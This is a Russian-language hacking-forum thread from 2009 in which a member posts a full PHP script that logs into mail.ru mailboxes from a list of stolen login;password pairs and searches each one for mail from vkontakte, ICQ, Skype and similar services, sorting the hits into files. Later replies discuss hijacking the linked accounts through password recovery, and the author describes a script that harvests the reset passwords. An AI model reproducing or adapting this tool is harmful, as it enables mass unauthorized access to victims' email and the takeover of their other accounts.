[PHP] Mails acc cheker by Gaus

Discussion in 'PHP' started by Gaus, 28 Feb 2009.

  1. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Вот написал скрипт,который чеккает базу взломанных мыл на mail.ru(bk.ru,inbox.ru,list.ru) на наличие привязанности к различным аккаунтам (vkontakte.ru,skype.com,icq.com и т.д.).Скрипт "чеккает" поиском писем в ящике от заданного отправителя (odnoklassniki.ru,icq.com и т.п.)
    Далее скрипт записывает мыла в 2 файла: с найденными акками и с ненайденными акками ;)
    Вот собственно сам скрипт:
    PHP:
    <?php
    /* c0ded by Gaus */

    /////////////////////////
    $mails 'mails.txt'//Файл со сбрученныйми мылами(в формате mail;pass)
    $fid 'found.txt';//Файл с найденными аккаунтами
    $fno 'nofound.txt';// Файл с не найденными аккаунтами
    $chek 'vkontakte.ru'//Что чеккаем(пример: vkontakte.ru,odnoklassniki.ru,skype.com)
    ////////////////////////

    set_time_limit(0);
    $lines file($mails);
    foreach(
    $lines as $line) {
        list(
    $login,$pass) = explode(";"rtrim($line));
        list(
    $login$domain) = explode('@'$login);    
           
        
    $ch curl_init();    
        
    curl_setopt($chCURLOPT_URL"http://win.mail.ru/cgi-bin/auth");  
        
    curl_setopt($chCURLOPT_REFERER"http://win.mail.ru"); 
        
    curl_setopt($chCURLOPT_HEADER1);    
        
    curl_setopt($chCURLOPT_USERAGENT"User-agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT");    
        
    curl_setopt($chCURLOPT_TIMEOUT10);    
        
    curl_setopt($chCURLOPT_POSTtrue);    
        
    curl_setopt($chCURLOPT_POSTFIELDS"Login=$login&Domain=$domain&Password=$pass");    
        
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue);   
        
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");    
        
    curl_setopt($chCURLOPT_COOKIEJAR"./cook"); 
        
    $res curl_exec($ch); 
        
        
    curl_setopt($chCURLOPT_URL"http://win.mail.ru/cgi-bin/search?q_from=$chek&q_to=&q_subj=&advanced=0&qc_from=1&qc_to=1&qc_subj=1&q_folder=all");  
        
    curl_setopt($chCURLOPT_REFERER"http://win.mail.ru/"); 
        
    curl_setopt($chCURLOPT_HEADER1);    
        
    curl_setopt($chCURLOPT_USERAGENT"User-agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT");    
        
    curl_setopt($chCURLOPT_TIMEOUT10);    
        
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue);   
        
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");    
        
    curl_setopt($chCURLOPT_COOKIEJAR"./cook"); 
        
    $res curl_exec($ch);    
        
    curl_close($ch);

    touch($fid);
    touch($fno);
    $fil fopen$fno 'a' );
    $file fopen$fid 'a' );
    $pos =  strpos($res'Результаты');
    if (
    $pos === false) {
        
    ob_flush();
        
    flush();
    fwrite($fil$line);
    } else {
    fwrite($file$line);    
    }
    }
    fclose($fid);
    fclose($fno);
    ?>
    Также можно его скачать ;)
    slil.ru
    ifolder.ru
    dump.ru
    З.Ы. Мож где-то код и кривоват :)
     
    1 person likes this.
  2. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    а не логичнее ли сначала посылать востановление от акков с тех сервисов, на каких возможно восстановление знаяя только мыло !!?
     
  3. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Ну я могу и так сделать...Но например на vkontakte капча когда высылаеш много раз....
     
  4. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Вот щас довожу до ума скрипт,который делает ретрив пасса на ВК, потом читает письмо с полученным паролем и запис в файл.Но опять таки капчу сразу незаметил :mad:
     
  5. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211